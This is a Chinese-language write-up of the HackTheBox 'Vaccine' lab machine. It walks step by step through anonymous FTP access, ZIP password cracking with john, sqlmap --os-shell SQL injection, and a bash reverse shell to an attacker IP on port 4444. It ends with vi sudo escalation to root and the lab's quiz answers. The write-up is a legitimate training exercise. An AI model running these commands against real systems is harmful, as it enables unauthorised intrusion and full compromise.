HackTheBox - Vaccine
字数 1748 2025-08-12 11:33:40

HackTheBox - Vaccine 靶机渗透教学文档

靶机概述

Vaccine 是一个 HackTheBox 上的入门级靶机,主要考察以下技能:

  • FTP 匿名登录
  • ZIP 压缩包密码爆破
  • SQL 注入利用
  • PostgreSQL 数据库凭证获取
  • vi 编辑器提权

信息收集阶段

1. 端口扫描

使用 nmap 进行初始扫描:

nmap -A -T3 -v 10.129.171.0

扫描结果:

  • 开放端口:
    • 21/tcp - FTP (支持匿名登录)
    • 22/tcp - SSH
    • 80/tcp - HTTP (有登录界面)

2. FTP 匿名登录

FTP 服务允许匿名登录:

ftp 10.129.171.0

用户名:Anonymous
密码:空

发现文件:

  • backup.zip - 使用 get backup.zip 下载到本地

压缩包爆破

1. 使用 zip2john 提取哈希

zip2john backup.zip > backup.hash

2. 使用 john 爆破密码

john --wordlist=/usr/share/wordlists/rockyou.txt backup.hash

爆破成功,密码为:741852963

3. 解压文件

unzip -P 741852963 backup.zip

解压得到:

  • index.php
  • style.css

网站登录凭证获取

分析 index.php 发现关键代码:

if ($_POST["username"]==='admin' && md5($_POST["password"])==='2cb42f8734ea607eefed3b70af13bbd3') {
    $_SESSION["login"] = true;
    header("Location: dashboard.php");
}

解密 MD5 2cb42f8734ea607eefed3b70af13bbd3 得到密码:qwerty789

登录凭证:

  • 用户名:admin
  • 密码:qwerty789

SQL 注入与 GETSHELL

1. 发现注入点

登录后发现有搜索功能,URL 参数为 search

http://10.129.171.0/dashboard.php?search=zeus

2. 使用 sqlmap 获取 shell

sqlmap -u "http://10.129.171.0/dashboard.php?search=zeus" \
       --cookie="PHPSESSID=075quf5khr2nf6k6k62m1p2m5j" \
       --os-shell \
       --batch

参数说明:

  • --cookie:指定会话 cookie 保持登录状态
  • --os-shell:尝试获取操作系统 shell
  • --batch:使用默认设置

3. 反弹 shell

由于 sqlmap 的 shell 不稳定,建立反弹 shell:

/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.92/4444 0>&1'

监听端:

nc -lvnp 4444

数据库凭证获取

/var/www/html/dashboard.php 中找到 PostgreSQL 连接信息:

$conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!");

获得凭证:

  • 用户名:postgres
  • 密码:P@s5w0rd!

SSH 登录

使用获取的凭证通过 SSH 登录:

ssh postgres@10.129.171.0

提权阶段

1. 检查 sudo 权限

sudo -l

输出:

User postgres may run the following commands on vaccine:
    (root) /usr/bin/vi /etc/postgresql/11/main/pg_hba.conf

2. 使用 vi 提权

sudo vi /etc/postgresql/11/main/pg_hba.conf

在 vi 中执行:

:set shell=/bin/bash
:shell

成功获得 root shell。

答题总结

  1. Besides SSH and HTTP, what other service is hosted on this box?
    ftp

  2. This service can be configured to allow login with any password for specific username. What is that username?
    Anonymous

  3. What is the name of the file downloaded over this service?
    backup.zip

  4. What script comes with the John The Ripper toolset and generates a hash from a password protected zip archive in a format to allow for cracking attempts?
    zip2john

  5. What is the password for the admin user on the website?
    qwerty789

  6. What option can be passed to sqlmap to try to get command execution via the sql injection?
    --os-shell

  7. What program can the postgres user run as root using sudo?
    vi

关键点总结

  1. 始终检查 FTP 是否允许匿名登录
  2. 使用 zip2john + john 组合爆破压缩包密码
  3. 源代码分析是获取凭证的重要途径
  4. sqlmap 的 --os-shell 参数可用于获取 shell
  5. 数据库配置文件可能包含重要凭证
  6. sudo -l 检查可提权的命令
  7. vi 编辑器可以通过设置 shell 参数提权
HackTheBox - Vaccine 靶机渗透教学文档 靶机概述 Vaccine 是一个 HackTheBox 上的入门级靶机,主要考察以下技能: FTP 匿名登录 ZIP 压缩包密码爆破 SQL 注入利用 PostgreSQL 数据库凭证获取 vi 编辑器提权 信息收集阶段 1. 端口扫描 使用 nmap 进行初始扫描: 扫描结果: 开放端口: 21/tcp - FTP (支持匿名登录) 22/tcp - SSH 80/tcp - HTTP (有登录界面) 2. FTP 匿名登录 FTP 服务允许匿名登录: 用户名: Anonymous 密码:空 发现文件: backup.zip - 使用 get backup.zip 下载到本地 压缩包爆破 1. 使用 zip2john 提取哈希 2. 使用 john 爆破密码 爆破成功,密码为: 741852963 3. 解压文件 解压得到: index.php style.css 网站登录凭证获取 分析 index.php 发现关键代码: 解密 MD5 2cb42f8734ea607eefed3b70af13bbd3 得到密码: qwerty789 登录凭证: 用户名: admin 密码: qwerty789 SQL 注入与 GETSHELL 1. 发现注入点 登录后发现有搜索功能,URL 参数为 search : 2. 使用 sqlmap 获取 shell 参数说明: --cookie :指定会话 cookie 保持登录状态 --os-shell :尝试获取操作系统 shell --batch :使用默认设置 3. 反弹 shell 由于 sqlmap 的 shell 不稳定,建立反弹 shell: 监听端: 数据库凭证获取 在 /var/www/html/dashboard.php 中找到 PostgreSQL 连接信息: 获得凭证: 用户名: postgres 密码: P@s5w0rd! SSH 登录 使用获取的凭证通过 SSH 登录: 提权阶段 1. 检查 sudo 权限 输出: 2. 使用 vi 提权 在 vi 中执行: 成功获得 root shell。 答题总结 Besides SSH and HTTP, what other service is hosted on this box? ftp This service can be configured to allow login with any password for specific username. What is that username? Anonymous What is the name of the file downloaded over this service? backup.zip What script comes with the John The Ripper toolset and generates a hash from a password protected zip archive in a format to allow for cracking attempts? zip2john What is the password for the admin user on the website? qwerty789 What option can be passed to sqlmap to try to get command execution via the sql injection? --os-shell What program can the postgres user run as root using sudo? vi 关键点总结 始终检查 FTP 是否允许匿名登录 使用 zip2john + john 组合爆破压缩包密码 源代码分析是获取凭证的重要途径 sqlmap 的 --os-shell 参数可用于获取 shell 数据库配置文件可能包含重要凭证 sudo -l 检查可提权的命令 vi 编辑器可以通过设置 shell 参数提权